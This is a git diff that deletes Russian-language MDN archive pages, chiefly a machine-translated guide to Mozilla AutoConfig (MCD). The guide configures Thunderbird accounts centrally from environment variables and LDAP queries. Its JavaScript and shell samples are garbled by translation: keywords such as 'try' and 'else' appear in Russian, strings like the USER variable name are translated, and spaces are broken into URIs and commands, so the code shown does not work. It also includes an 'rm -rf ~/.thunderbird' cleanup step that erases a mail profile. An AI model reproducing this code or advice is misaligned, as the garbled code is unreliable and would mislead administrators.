- </tbody>
-</table>
-
-<table class="fullwidth-table" style="width: 100%;">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: #F33;"><strong>{{ SpecName("CSS3 Content", "", "") }}</strong></td>
- <td>{{ Spec2("CSS3 Content") }}</td>
- </tr>
- <tr>
- <td colspan="2"></td>
- </tr>
- </tbody>
-</table>
-
-<table class="fullwidth-table" style="width: 100%;">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: #F33;"><strong>{{ SpecName("CSS3 Inline Layout", "", "") }}</strong></td>
- <td>{{ Spec2("CSS3 Inline Layout") }}</td>
- </tr>
- <tr>
- <td colspan="2"></td>
- </tr>
- </tbody>
-</table>
diff --git a/files/ru/archive/events/index.html b/files/ru/archive/events/index.html
deleted file mode 100644
index 8db3d2efb0..0000000000
--- a/files/ru/archive/events/index.html
+++ /dev/null
@@ -1,13 +0,0 @@
----
-title: Events
-slug: Archive/Events
-tags:
- - NeedsTranslation
- - TopicStub
-translation_of: Archive/Events
----
-<p>Archived event pages</p>
-
-<p> </p>
-
-<p>{{Listsubpages("", 100)}}</p>
diff --git a/files/ru/archive/index.html b/files/ru/archive/index.html
deleted file mode 100644
index e4b9730ea5..0000000000
--- a/files/ru/archive/index.html
+++ /dev/null
@@ -1,21 +0,0 @@
----
-title: Archive of obsolete content
-slug: Archive
-tags:
- - NeedsTranslation
- - TopicStub
-translation_of: Archive
----
-<p>Here at MDN, we try to avoid outright deleting content that might be useful to people targeting legacy platforms, operating systems, and browsers. Perhaps your target audience is people that are using older hardware, for example, and can't upgrade to the latest and greatest browsers. Or for "reasons," your company is required to use very old software and you need to build Web content that runs on that software. Or perhaps you're just curious about the history of an obsolete feature or API, and how it worked.</p>
-
-<p>There are many reasons older documentation can be useful. So, we've established this area into which we can archive older documentation. Material in this Archived content zone should <strong>not</strong> be used for building new Web sites or apps for modern browsers. It's here for historical reference only.</p>
-
-<div class="note">
-<p><strong>Note to writers:</strong> We need to try to keep the subpages here organized instead of all dumped into one large folder. Try to create subtrees for categories of material. Also, only move pages here that are <strong>extremely</strong> obsolete. If anyone might realistically need the information in a living product, it may not be appropriate to move it here. In general, it may be best to discuss it in the <a href="https://chat.mozilla.org/#/room/#mdn:mozilla.org">MDN Web Docs chat room </a>before moving content here.</p>
-</div>
-
-<p>{{SubpagesWithSummaries}}</p>
-
-<h2 id="Subnav">Subnav</h2>
-
-<p>{{ListSubpages("/en-US/docs/Archive", 2, 0, 1)}}</p>
diff --git a/files/ru/archive/mdn/index.html b/files/ru/archive/mdn/index.html
deleted file mode 100644
index 95f78220b5..0000000000
--- a/files/ru/archive/mdn/index.html
+++ /dev/null
@@ -1,16 +0,0 @@
----
-title: MDN
-slug: Archive/MDN
-tags:
- - NeedsTranslation
- - TopicStub
-translation_of: Archive/MDN
----
-<p></p><div class="overheadIndicator obsolete obsoleteHeader"><p><strong><span title="This is an obsolete API and is no longer guaranteed to work."><i class="icon-trash"> </i></span> Obsolete</strong><br>This feature is obsolete. Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it.</p></div><p></p>
-
-<p>The documentation listed below is archived, obsolete material about MDN itself.</p>
-
-<p></p><div class="row topicpage-table">
- <div class="section"><dl><dl><dt class="landingPageList"><a href="/en-US/docs/Archive/MDN/Content_kits">Content kits</a></dt><dd class="landingPageList">MDN Content Kits are subject-based collections of technical resources to help you host a local developer meetup or give a technical presentation at an event, conference, or workshop.</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/MDN/Howto_Link_a_Github_account">How to link a GitHub account to your MDN profile</a></dt><dd class="landingPageList">All users who wish to contribute to MDN must add a GitHub login to their MDN account in order to edit. This article describes how to add GitHub authentication to your MDN profile.</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/MDN/Persona_sign-ins">MDN and Persona sign-ins</a></dt><dd class="landingPageList">Starting on November 1, 2016, we only support GitHub for logging into MDN. If you didn't add a GitHub login to your MDN account before we disabled Persona logins, please file an <a href="https://mzl.la/accounthelp">"Account Help" bug</a> on Bugzilla.</dd></dl></dl></div>
- <div class="section"><dl><dt class="landingPageList"><a href="/en-US/docs/Archive/MDN/Subject-matter_experts">Subject-matter experts</a></dt><dd class="landingPageList">This article's purpose is to help writers find the Mozilla developers who have answers for questions about various technologies. If you're an engineer on any Mozilla project, <strong>please</strong> make sure your technology is on this list and that the contact information for your group is provided.</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/MDN/Zones">Zones</a></dt><dd class="landingPageList">A <strong>zone</strong> is a special area of MDN whose content is presented with some added user interface elements, such as a special zone navigation box and enhanced visuals in the header area of the page.</dd></dl></div>
- </div><p></p>
diff --git a/files/ru/archive/misc_top_level/index.html b/files/ru/archive/misc_top_level/index.html
deleted file mode 100644
index 2ca2018d08..0000000000
--- a/files/ru/archive/misc_top_level/index.html
+++ /dev/null
@@ -1,11 +0,0 @@
----
-title: Misc top level
-slug: Archive/Misc_top_level
-tags:
- - NeedsTranslation
- - TopicStub
-translation_of: Archive/Misc_top_level
----
-<p>These pages were moved from the top level of MDN in a spate of furious reorganization.</p>
-
-<p>{{SubpagesWithSummaries}}</p>
diff --git a/files/ru/archive/misc_top_level/mcd,_mission_control_desktop_aka_autoconfig/index.html b/files/ru/archive/misc_top_level/mcd,_mission_control_desktop_aka_autoconfig/index.html
deleted file mode 100644
index 12a4a4426a..0000000000
--- a/files/ru/archive/misc_top_level/mcd,_mission_control_desktop_aka_autoconfig/index.html
+++ /dev/null
@@ -1,1679 +0,0 @@
----
-title: 'MCD, Mission Control Desktop, AKA AutoConfig'
-slug: 'Archive/Misc_top_level/MCD,_Mission_Control_Desktop_AKA_AutoConfig'
-translation_of: 'Archive/Misc_top_level/MCD,_Mission_Control_Desktop_AKA_AutoConfig'
----
-<h3 id="Абстрактные"><font>Абстрактные</font></h3>
-
-<p><font>Этот документ является конкретным примером централизованной автоматической настройки приложений Mozilla; Firefox, Thunderbird, Mozilla Suite 1.xx, Seamonkey и для записи, старый Netscape 4.x. Его оригинальное вдохновение исходит от  </font> <a href="http://www.alain.knaff.lu/howto/MozillaCustomization/" rel="freelink">http://www.alain.knaff.lu/howto/MozillaCustomization/</a> и <a href="http://mit.edu/~firefox/www/maintainers/autoconfig.html" rel="freelink">http://mit.edu/~firefox/www/maintain...utoconfig.html</a> . <font>Для истории я сохранил главы Mozilla и Netscape, так как некоторые точки дополняют веб-файл AutoConfig.</font></p>
-
-<p><font><font>Этот MCD (также известен как autoconfig) не следует путать с </font></font><a class="link-https" href="https://wiki.mozilla.org/Thunderbird:Autoconfiguration" rel="freelink"><font><font>https://wiki.mozilla.org/Thunderbird...oconfiguration</font></font></a><font><font> . </font><font>Миссия состоит в том, чтобы полностью автоматизировать настройку предпочтений приложений Mozilla на основе свойств пользователей, полученных из переменных системы или в каталоге ldap организации.</font></font></p>
-
-<h3 id="Situation" name="Situation"><font><font>Cитуация</font></font></h3>
-
-<p><a href="http://www.int-evry.fr/"><font><font>INT-Evry</font></font></a><font><font> управляет около 3000 пользователей (в основном студентов), которые обмениваются компьютерами в лабораториях и компьютерными комнатами «самообслуживания». </font><font>Следовательно, один компьютер может подключать много разных пользователей в течение всего дня. </font><font>Компьютеры с двойной загрузкой (Windows 7 и Linux Fedora 19 к 2013 году). </font><font>Все пользователи имеют личную учетную запись на сервере Windows (AD) и учетную запись LDAP для аутентификации Linux.</font></font></p>
-
-<h3 id="Objective" name="Objective"><font><font>Задача</font></font></h3>
-
-<p><font><font>Целью является предоставление пользователям агента почтовой программы, веб-браузера и считывателя новостей, которые автоматически настраиваются (предпочтения) при запуске для текущего пользователя, подключенного к компьютеру. </font><font>Выбор продуктов Mozilla позволяет нам использовать одни и те же приложения во время работы в системах Windows или Linux (я подозреваю, что MAC OSX тоже будет в порядке).</font></font></p>
-
-<p><font><font>Вместо того, чтобы настраивать индивидуальные файлы конечных пользователей (</font></font><code>~/.mozilla/default/randomdir/prefs.js</code><font><font>), мы теперь используем централизованный набор настроек по умолчанию. </font><font>Этот централизованный файл настроек может блокировать настройки (</font></font><code>lockPref</code><font><font>) или инициализировать их (</font></font><code>defaultPref</code><font><font>) на основе переменных среды (</font></font><code>USER</code><font><font>, </font></font><code>HOME</code><font><font>...) и / или запросов LDAP (выбор адреса электронной почты, общего имени, языка, домашней страницы и т. Д.) Из каталога предприятия.</font></font></p>
-
-<h3 id="Central_Configuration_File" name="Central_Configuration_File"><font><font>Центральный файл конфигурации</font></font></h3>
-
-<p><font><font>Эта функция предоставляется через файл JavaScript.</font></font></p>
-
-<h4 id="File_Location" name="File_Location"><font><font>Местоположение файла (не тестировалось с 2012 года ...)</font></font></h4>
-
-<p><font><font>В Thunderbird, FireFox, файл предпочтений javascript, который вызывает централизованный файл предпочтений, находится в $ INSTALL_DIR_MOZ_APP / defaults / pref, например, в thunderbird это было бы соответственно для windows / linux:</font></font></p>
-
-<p><code>C:\Program Files\Mozilla Thunderbird\defaults\pref</code></p>
-
-<p><code>/usr/lib/thunderbird/default/pref</code></p>
-
-<div class="note"><font><font>(раньше он находился в </font></font><code>/usr/lib/thunderbird-version#/default/pref</code><font><font>состоянии </font></font><code>/usr/lib/thunderbird-5/default/pref</code><font><font>)</font></font></div>
-
-<p><font><font>Для цели записи / истории ... старый Netscape 4.x файл закодирован (byte-shift / rotary is 7), и наличие файла ( </font></font><code>netscape.cfg</code><font><font>) в </font></font><code>MOZILLA_HOME</code><font><font>каталоге достаточно для его чтения и выполнения. </font><font>Для Mozilla 1.xx, Firefox, Thunderbird или Netscape 7 он по-прежнему является файлом JavaScript, по умолчанию байтовый сдвиг равен 13, но его можно удалить с помощью </font></font><code>pref("general.config.obscure_value", 0);</code><font><font>предпочтения в любом подходящем </font></font><code>.js</code><font><font>файле, посвященном autoconfig (здесь </font></font><code>autoconf.js</code><font><font>).</font></font></p>
-
-<p><font><font>Имя файла может быть все что угодно , </font><font>потому что он назван по </font></font><code>general.config</code><font><font>предпочтению , </font><font>которое должно быть добавлено в конце файла </font></font><code>MOZILLA_HOME/default/pref/autoconf.js</code><font><font>или </font></font><code>MOZILLA_HOME/greprefs/autoconf.js</code><font><font>: </font></font><code>pref("general.config.filename", "mozilla.cfg");</code><font><font>.</font></font></p>
-
-<h4 id="File_API" name="File_API"><font><font>Файловый API</font></font></h4>
-
-<p><font><font>В этом централизованном файле предпочтений используется JavaScript API, который позволяет нам делать то, что нам нужно.</font></font></p>
-
-<p><font><font>Это </font></font><code>prefcalls.js</code><font><font>теперь архив в файле omni.jar, расположенный в корне установки приложений mozilla, пример TB5:</font></font></p>
-
-<pre class="bz_comment_text"><font><font># jar -tvf /usr/lib/thunderbird/omni.jar | </font><font>grep prefcalls.js</font></font><font><font>
- 7499 Сб Ноя 05 09:21:34 CET 2011 defaults/autoconfig/prefcalls.js</font></font>
-</pre>
-
-<p>Традиционно (предыдущие версии приложений) есть <code>MOZILLA_HOME/default/autoconfig/prefcalls.js</code>. Наличие <code>pref("general.config.filename", "mozilla.cfg");</code> в любом подходящем <code>.js</code> файле (здесь мы используем <code>autoconf.js</code> выделенный файл) позволяет читать и выполнять <code>prefcalls.js</code>.<br>
- <strong>Не используйте имя, <code>all.js</code> потому что оно зарезервировано. Ссылка: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=690370">Баг 690370</a></strong></p>
-
-<p><font><font>Доступные функции (см. </font></font><code><a href="https://dxr.mozilla.org/mozilla-central/source/extensions/pref/autoconfig/src/prefcalls.js" rel="custom">prefcalls.js</a></code> <font><font>Файл для подробностей):</font></font></p>
-
-<pre><code>function getPrefBranch()
-function pref(prefName, value)
-function defaultPref(prefName, value)
-function lockPref(prefName, value)
-function unlockPref(prefName)
-function getPref(prefName)
-function getLDAPAttributes(host, base, filter, attribs)
-function getLDAPValue(str, key)
-function displayError(funcname, message)
-function getenv(name)</code></pre>
-
-
-
-<h4 id="Configure_AutoConfig" name="Configure_AutoConfig"><font><font>Настройка AutoConfig</font></font></h4>
-
-<p><font><font>Две директивы просят Thunderbird использовать AutoConfig при запуске:</font></font></p>
-
-<pre><font><font># cat /usr/lib/thunderbird/defaults/pref/tb-autoconf.js </font></font><font><font>
-// 20100526 - Модификация autoconfig Jehan.</font></font><font><font>
-//</font></font>
-<font><font>
-pref("general.config.obscure_value", 0); </font><font>// для файлов MCD .cfg</font></font><font><font>
-pref('general.config.filename', 'thunderbird.cfg'); </font><font>// для файлов MCD .cfg</font></font>
-</pre>
-
-<div class="note"><font><font>Раньше он использовался в предыдущих выпусках (до 7.0) в /usr/lib/thunderbird-X.0/default/pref/autoconf.js</font></font></div>
-
-<p><font><font>Первый </font></font><code>pref</code><font><font>раз говорят нам , </font><font>что мы не будем кодировать файл (не более 13 роторных или 7 Cf ниже), то второе </font></font><code>pref</code><font><font>это имя файла для чтения: </font></font><code>/usr/lib/thunderbird/thunderbird.cfg</code><font><font>. </font><font>(или firefox.cfg, если для firefox ...)</font></font></p>
-
-<h4 id="File_Encoding" name="File_Encoding"><font><font>Кодирование файлов</font></font></h4>
-
-<p><font><font>При необходимости кодирование может быть выполнено с помощью скрипта Perl: </font></font><code>moz-byteshift.pl</code><font><font>доступно по адресу </font></font><a href="http://www.alain.knaff.lu/howto/MozillaCustomization/moz-byteshift.pl" rel="freelink"><font><font>http://www.alain.knaff.lu/howto/Mozi...z-byteshift.pl</font></font></a><font><font> .</font></font></p>
-
-<p><font><font>Для Netscape 4.x также может быть реализована функция преобразования из набора клиентской настройки (CCK) (и другие вещи, такие как персонализация автоматической установки ...): </font></font><a href="http://web.archive.org/web/20040821150212/http://developer.netscape.com/docs/manuals/deploymt/config.htm"><font><font>http://developer.netscape.com/docs/manuals/deploymt/ config.htm</font></font></a><font><font> .</font></font></p>
-
-<h4 id="AutoConfig_Directives" name="AutoConfig_Directives"><font><font>Директивы AutoConfig</font></font></h4>
-
-<p><font><font>Здесь мы хотим установить предпочтения пользователей электронной почты для пользователей: Создайте одну учетную запись из своего имени входа, получите свой адрес электронной почты из запроса LDAP и установите корпоративные IMAP-серверы и SMTP-серверы. </font><font>Следовательно, при работе на многопользовательских рабочих станциях каждый пользователь автоматически настраивает Thunderbird для своего профиля.</font></font></p>
-
-<h5 id="thunderbird.cfg" name="thunderbird.cfg"><font><font>thunderbird.cfg (версия 1)</font></font></h5>
-
-<p><font><font>Вот полный файл, сначала мы получаем имя пользователя из переменных среды, затем настраиваем адресную книгу LDAP, создаем учетную запись электронной почты и настраиваем IMAP и SMTP:</font></font></p>
-
-<pre><font><font>[root@calaz /usr/lib/thunderbird]</font></font><font><font>
-$ cat thunderbird.cfg</font></font><font><font>
-// помещаем все в try/catch</font></font><font><font>
-пытаться {</font></font>
-<font><font>
-// 1) переменные env</font></font><font><font>
-if (getenv("USER")!= "") {</font></font><font><font>
- // * Настройки NIX</font></font><font><font>
- var env_user = getenv("ПОЛЬЗОВАТЕЛЬ");</font></font><font><font>
- var env_home = getenv("HOME");</font></font><font><font>
-} else {</font></font><font><font>
- // Настройки Windows</font></font><font><font>
- var env_user = getenv("USERNAME");</font></font><font><font>
- var env_home = getenv("HOMEPATH");</font></font><font><font>
-}</font></font><font><font>
-var env_mozdebug = getenv("MOZILLA_DEBUG");</font></font><font><font>
-// var env_user = prompt("indiquez votre login", toto);</font></font>
-<font><font>
-// 2) заблокировать общие настройки</font></font><font><font>
-// Адресная книга LDAP</font></font><font><font>
-lockPref("ldap_2.prefs_migrated", true);</font></font><font><font>
-lockPref("ldap_2.servers.LDAPINT.auth.savePassword", true);</font></font><font><font>
-lockPref("ldap_2.servers.LDAPINT.description", "LDAP INT");</font></font><font><font>
-lockPref("ldap_2.servers.LDAPINT.filename", "abook-1.mab");</font></font><font><font>
-lockPref("ldap_2.servers.LDAPINT.uri", "ldap: //ldap1.int-evry.Fr: 389 / ou = people, dc = int-evry, dc = fr ?? sub");</font></font><font><font>
-lockPref("ldap_2.servers.history.filename", "history.mab");</font></font><font><font>
-lockPref("ldap_2.servers.history.replication.lastChangeNumber", 0);</font></font><font><font>
-lockPref("ldap_2.servers.pab.filename", "abook.mab");</font></font><font><font>
-lockPref("ldap_2.servers.pab.replication.lastChangeNumber", 0);</font></font>
-<font><font>
-//Счет</font></font><font><font>
-lockPref("mail.account.account1.server", "server1");</font></font><font><font>
-lockPref("mail.account.account2.identities", "id1");</font></font><font><font>
-lockPref("mail.account.account2.server", "server2");</font></font><font><font>
-lockPref("mail.accountmanager.accounts", "account1, account2");</font></font><font><font>
-lockPref("mail.accountmanager.defaultaccount", "account2");</font></font><font><font>
-lockPref("mail.accountmanager.localfoldersserver", "server1");</font></font><font><font>
-lockPref("mail.identity.id1.directoryServer", "ldap_2.servers.LDAPINT");</font></font><font><font>
-lockPref("mail.identity.id1.draft_folder", "imap: //" + env_user + "@ imap-int.int-evry.fr / Drafts");</font></font><font><font>
-lockPref("mail.identity.id1.drafts_folder_picker_mode", "0");</font></font><font><font>
-lockPref("mail.identity.id1.fcc_folder", "imap: //" + env_user + "@ imap-int.int-evry.fr / Sent");</font></font><font><font>
-lockPref("mail.identity.id1.fcc_folder_picker_mode", "0");</font></font><font><font>
-lockPref("mail.identity.id1.organization", "INT Evry France");</font></font><font><font>
-lockPref("mail.identity.id1.overrideGlobal_Pref", true);</font></font><font><font>
-lockPref("mail.identity.id1.reply_to", "");</font></font>
-<font><font>
-// IMAP</font></font><font><font>
-lockPref("mail.server.server2.hostname", "imap-int.int-evry.fr");</font></font><font><font>
-lockPref("mail.server.server2.isSecure", true);</font></font><font><font>
-lockPref("mail.server.server2.login_at_startup", true);</font></font><font><font>
-lockPref("mail.server.server2.max_cached_connections", 5);</font></font><font><font>
-//lockPref("mail.server.server2.name "," jehan.procaccia@int-evry.fr ");</font></font><font><font>
-lockPref("mail.server.server2.type", "imap");</font></font><font><font>
-lockPref("mail.server.server2.userName", env_user);</font></font>
-<font><font>
-// SMTP</font></font><font><font>
-lockPref("mail.identity.id1.smtpServer", "smtp1");</font></font><font><font>
-lockPref("mail.identity.id1.stationery_folder", "imap: //" + env_user + "@ imap-int.int-evry.fr / Шаблоны");</font></font><font><font>
-lockPref("mail.identity.id1.tmpl_folder_picker_mode", "0");</font></font><font><font>
-lockPref("mail.identity.id1.valid", true);</font></font>
-<font><font>
-// Общий SMTP</font></font><font><font>
-lockPref("mail.smtp.defaultserver", "smtp1");</font></font><font><font>
-lockPref("mail.smtpserver.smtp1.auth_method", 0);</font></font><font><font>
-lockPref("mail.smtpserver.smtp1.hostname", "smtp-int.int-evry.fr");</font></font><font><font>
-lockPref("mail.smtpserver.smtp1.port", 25);</font></font><font><font>
-lockPref("mail.smtpserver.smtp1.try_ssl", 0);</font></font><font><font>
-lockPref("mail.smtpserver.smtp1.username", "");</font></font><font><font>
-lockPref("mail.smtpservers", "smtp1");</font></font><font><font>
-lockPref("mail.startup.enabledMailCheckOnce", true);</font></font><font><font>
-lockPref("mailnews.quotingPrefs.version", 1);</font></font><font><font>
-lockPref("mailnews.ui.threadpane.version", 5);</font></font>
-<font><font>
-/* 3) определить здесь (потому что если установлено после «4»), ниже он не работает!) ProcessLDAPValues, который в конечном итоге вызывается getLDAPAttributes () чуть ниже,</font></font><font><font>
- проверьте код getLDAPAttributes () из $ MOZILLA_HOME / defaults / autoconfig / prefcalls.js, чтобы увидеть внутренний вызов на «user defined» processLDAPValues</font></font><font><font>
-*/
-function processLDAPValues(</font></font><code>values</code><font><font>) {
- </font></font><code>if(values)</code><font><font> {
- // устанавливаем глобальный var со значениями, возвращаемыми из запроса LDAP</font></font><font><font>
- ldap_values ​​= значения;</font></font><font><font>
- var uid = getLDAPValue(значения, "uid");</font></font><font><font>
- var cn = getLDAPValue(значения, "cn");</font></font><font><font>
- var mail = getLDAPValue(значения, «почта»);</font></font><font><font>
- var URL = getLDAPValue(значения, "labeledURI");</font></font>
-<font><font>
-// Эти переменные LDAP доступны только в этом контексте processLDAPValues!</font></font><font><font>
-// поэтому мы задаем им настройки, которые здесь нужны.</font></font><font><font>
-lockPref("mail.identity.id1.useremail", mail);</font></font><font><font>
-lockPref("mail.server.server2.name", почта);</font></font><font><font>
-lockPref("mail.identity.id1.fullName", cn);</font></font><font><font>
-// Отладка с всплывающими сообщениями об ошибках больше не работает :-( !!</font></font><font><font>
-var env_mozdebug = getenv ("MOZILLA_DEBUG");</font></font><font><font>
-if (env_mozdebug) {displayError("NO ERROR, только отладка, cn =" + cn + "и mail =" + mail); </font><font>}</font></font><font><font>
- }</font></font><font><font>
- }</font></font><font><font>
-// 4) Вызовите LDAP-серверы для получения атрибутов LDAP (mail &amp; cn), это, наконец, вызовет processLDAPValues, «3» «чуть выше».</font></font><font><font>
- getLDAPAttributes ("ldap2.int-evry.fr", "ou = people, dc = int-evry, dc = fr", "uid =" + env_user, "uid, cn, mail, labeledURI");</font></font>
-<font><font>
-// Закройте попытку и вызовите catch ()</font></font><font><font>
-} catch(e) {</font></font><font><font>
- displayError("lockedPref", e);</font></font><font><font>
-}</font></font>
-</pre>
-
-<h5 id="thunderbird.cfg" name="thunderbird.cfg"><font><font>thunderbird.cfg (версия 2 с AD)</font></font></h5>
-
-<p><font><font>Использование Thunderbird 9.0.1 и попытка использовать Active Directory (Windows Server 2008), поскольку LDAP-Source не работает с версией 1. Вот моя собственная версия.</font></font></p>
-
-<pre><font><font>// Примечание: для доступа к Active Directory Windows Server позднее 2000</font></font><font><font>
-// необходимо разрешить анонимный доступ для чтения. </font><font>Пожалуйста, посмотри</font></font><font><font>
-// (немецкий) http://interop.blog.de/2010/02/13/kapitel-1-ldap-anfragen-linux-ad-8001564/ </font></font><font><font>
-// или искать в сети, как это сделать. </font><font>Если невозможно предоставить доступ к анонимным,</font></font><font><font>
-// вы должны сначала включить эту функцию, см.</font></font><font><font>
-// http://technet.microsoft.com/de-de/library/cc816788(WS.10).aspx</font></font><font><font>
-//</font></font><font><font>
-//</font></font><font><font>
-// помещаем все в try / catch</font></font><font><font>
-пытаться {</font></font>
- <font><font>
-var userInfo = newObject(); </font><font>// Это приведет к результатам LDAP</font></font>
- <font><font>
-userInfo.envUser = getenv("USERNAME"); </font><font>// USERNAME</font></font><font><font>
-userInfo.envHome = getenv("HOME"); </font><font>// Домашний каталог пользователя</font></font>
- <font><font>
-var ldapHost = "example.com";</font></font><font><font>
-var ldapBase = "dc = company, dc = local";</font></font>
- <font><font>
-if (userInfo.envUser)</font></font><font><font>
-{var ldapFilter = "sAMAccountName =" + userInfo.envUser; </font><font>}</font></font><font><font>
-еще</font></font><font><font>
-{throw («Не удалось получить UID из среды»); </font><font>}</font></font>
- <font><font>
-// Атрибуты LDAP для извлечения с сервера</font></font><font><font>
-var ldapAttrs = new Array("cn", "mail", "sAMAccountName"); </font><font>// добавьте сюда дополнительные атрибуты)</font></font>
- <font><font>
-// Определите, как обрабатывать результаты LDAP, прежде чем мы сделаем вызов</font></font><font><font>
-function processLDAPValues(queryResults)</font></font><font><font>
-{if (queryResults)</font></font><font><font>
- {// Создаем объект userInfo для последующего использования</font></font><font><font>
- для (var attr в ldapAttrs)</font></font><font><font>
- {userInfo [ldapAttrs [attr]] = getLDAPValue (queryResults, ldapAttrs [attr]); </font><font>}</font></font><font><font>
- } else</font></font><font><font>
- {throw(«Нет результатов LDAP»); </font><font>}</font></font><font><font>
-}</font></font>
- <font><font>
-// Вызов LDAP для значений в массиве ldapAttrs, </font></font><font><font>
-// Использует предыдущие processLDAPValues ​​()</font></font><font><font>
-getLDAPAttributes (ldapHost, ldapBase, ldapFilter, ldapAttrs.join (","));</font></font>
- <font><font>
-// Регистрация</font></font><font><font>
-// см. также http://blog.deanandadie.net/2010/06/easy-thunderbird-account-management-using-mcd/</font></font><font><font>
-// Идентификация</font></font><font><font>
-defaultPref("mail.identity.id1.fullName", userInfo.cn);</font></font><font><font>
-defaultPref("mail.identity.id1.smtpServer", "smtp1");</font></font><font><font>
-defaultPref("mail.identity.id1.useremail", userInfo.mail);</font></font>
- <font><font>
-// Настройки сервера IMAP</font></font><font><font>
-defaultPref("mail.server.server1.hostname", "myImap.server.com");</font></font><font><font>
-defaultPref("mail.server.server1.name", userInfo.mail);</font></font><font><font>
-defaultPref("mail.server.server1.port", 993);</font></font><font><font>
-defaultPref("mail.server.server1.socketType", 3);</font></font><font><font>
-defaultPref("mail.server.server1.type", "imap");</font></font><font><font>
-defaultPref("mail.server.server1.userName", userInfo.mail);</font></font>
- <font><font>
-// Параметры SMTP-сервера</font></font><font><font>
-defaultPref("mail.smtpserver.smtp1.authMethod", 3);</font></font><font><font>
-defaultPref("mail.smtpserver.smtp1.description", "my Company Name");</font></font><font><font>
-defaultPref("mail.smtpserver.smtp1.hostname", "mySmtp.server.com");</font></font><font><font>
-defaultPref("mail.smtpserver.smtp1.port", 465);</font></font><font><font>
-defaultPref("mail.smtpserver.smtp1.try_ssl", 3);</font></font><font><font>
-defaultPref("mail.smtpserver.smtp1.username", userInfo.mail);</font></font>
- <font><font>
-// Склеить все это вместе</font></font><font><font>
-defaultPref("mail.account.account1.identities", "id1");</font></font><font><font>
-defaultPref("mail.account.account1.server", "server1");</font></font><font><font>
-defaultPref("mail.accountmanager.accounts", "account1");</font></font><font><font>
-defaultPref("mail.accountmanager.defaultaccount", "account1");</font></font><font><font>
-defaultPref("mail.smtp.defaultserver", "smtp1");</font></font><font><font>
-defaultPref("mail.smtpservers", "smtp1");</font></font>
- <font><font>
-// Закройте попытку и вызовите catch()</font></font><font><font>
-} catch(e) {</font></font><font><font>
- displayError("lockedPref", e);</font></font><font><font>
-}</font></font>
-
-</pre>
-
-<h5 id="Test_AutoConfig" name="Test_AutoConfig"><font><font>Тест AutoConfig</font></font></h5>
-
-<h6 id="Debug" name="Debug"><font><font>Отлаживать</font></font></h6>
-
-<p><font><font>Чтобы проверить, что наш AutoConfig работает нормально, мы просто устанавливаем переменную env для проверки чтения </font></font><code>thunderbird.cfg</code><font><font>файла:</font></font></p>
-
-<pre><font><font>$ export NSPR_LOG_MODULES = MCD: 5</font></font><font><font>
-$ export NSPR_LOG_FILE = /tmp/thunderbird-log.txt</font></font>
-</pre>
-
-<p><font><font>Когда Thunderbird запустится, вы должны прочитать:</font></font></p>
-
-<pre><font><font> $ cat /tmp/thunderbird-log.txt</font></font><font><font>
--1209403040 [808a788]: general.config.filename = thunderbird.cfg</font></font><font><font>
--1209403040 [808a788]: оценка файла .cfg thunderbird.cfg с obscureValue 0</font></font>
-</pre>
-
-<h6 id="Clean" name="Clean"><font><font>чистый</font></font></h6>
-
-<p><font><font>Затем, чтобы начать с новой учетной записи Thunderbird,</font></font></p>
-
-<div class="note"><font><font>не делайте этого, если у вас уже есть и вы хотите сохранить свои электронные письма и настройки!</font></font></div>
-
-<pre><font><font>$ rm -rf ~/.thunderbird
-</font></font></pre>
-
-<h6 id="Start_It" name="Start_It"><font><font>Начни это</font></font></h6>
-
-<pre><font><font>$ thunderbird
-</font></font></pre>
-
-<p><font><font>Если Thunderbird попросит вас импортировать свой профиль из Netscape / Mozilla / TB в зависимости от вашей истории почтового клиента, не импортируйте ничего, здесь мы хотим проверить работу AutoConfig самостоятельно!</font></font></p>
-
-<p><font><font>Это должно сработать, просто перезапустите процесс, установив другую </font></font><code>USER</code><font><font>переменную ( </font></font><code>USER=procacci</code><font><font>и </font></font><code>USER=test</code><font><font>т. Д.) Любого в вашем каталоге LDAP ...), чтобы проверить многопользовательский AutoConfig.</font></font></p>
-
-<h3 id="Thunderbird" name="Thunderbird"><font><font>Thunderbird (предыдущий выпуск)</font></font></h3>
-
-<h4 id="Support_of_AutoConfig_and_LDAP_Calls" name="Support_of_AutoConfig_and_LDAP_Calls"><font><font>Поддержка вызовов AutoConfig и LDAP</font></font></h4>
-
-<div class="note"><font><font>Ниже приведена «попытка и уловка», которую мы имели в предыдущем выпуске Thunderbird, где эта функция не была скомпилирована по умолчанию, она может помочь при необходимости ...</font></font></div>
-
-<p><font><font>К сожалению, опция AutoConfig и поддержка LDAP для autoconfig (getLDAPAttributes) не были скомпилированы в пакете Thunderbird по умолчанию в пакете Fedora11 (thunderbird-3.0-2.3.beta2.fc11.src.rpm).</font></font></p>
-
-<p><font><font>Поэтому нам нужно было запланировать и перекомпилировать этот RPM исходного кода (проверьте </font></font><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=295329" title="autoconfig , prefcalls Ldap queries doesn't work">баг 295329</a>);<font><font> </font><font>патч:</font></font></p>
-
-<pre><font><font>[root @ b008-02 ИСТОЧНИКИ] # cat thunderbird-autoconfigAndLdap.patch</font></font><font><font>
-diff -ur thunderbird-3.0 / настроить thunderbird-3.0.autoldap / configure</font></font><font><font>
---- thunderbird-3.0 / configure 2009-06-29 11: 37: 21.677372297 +0200</font></font><font><font>
-+++ thunderbird-3.0.autoldap / configure 2009-06-29 14: 41: 11.547435040 +0200</font></font><font><font>
-@@ -12855,7 +12855,7 @@</font></font><font><font>
- MOZ_FEEDS = 1</font></font><font><font>
- MOZ_JSDEBUGGER = 1</font></font><font><font>
- MOZ_JSLOADER = 1</font></font><font><font>
--MOZ_LDAP_XPCOM =</font></font><font><font>
-+ MOZ_LDAP_XPCOM = 1</font></font><font><font>
- MOZ_MAIL_NEWS =</font></font><font><font>
- MOZ_MORK = 1</font></font><font><font>
- MOZ_MORKREADER =</font></font>
-</pre>
-
-<h5 id="AutoConfig_Option_and_LDAP_Support_in_Thunderbird_1.5.x" name="AutoConfig_Option_and_LDAP_Support_in_Thunderbird_1.5.x"><font><font>И set --enable-extensions = pref в файле mozconfig, в исходном RPM в fedora:</font></font></h5>
-
-<pre><font><font>[root @ b008-02 ИСТОЧНИКИ] # grep enable-extensions / root / rpmbuild / SOURCES / thunderbird-mozconfig</font></font><font><font>
-ac_add_options --enable-extensions = pref</font></font>
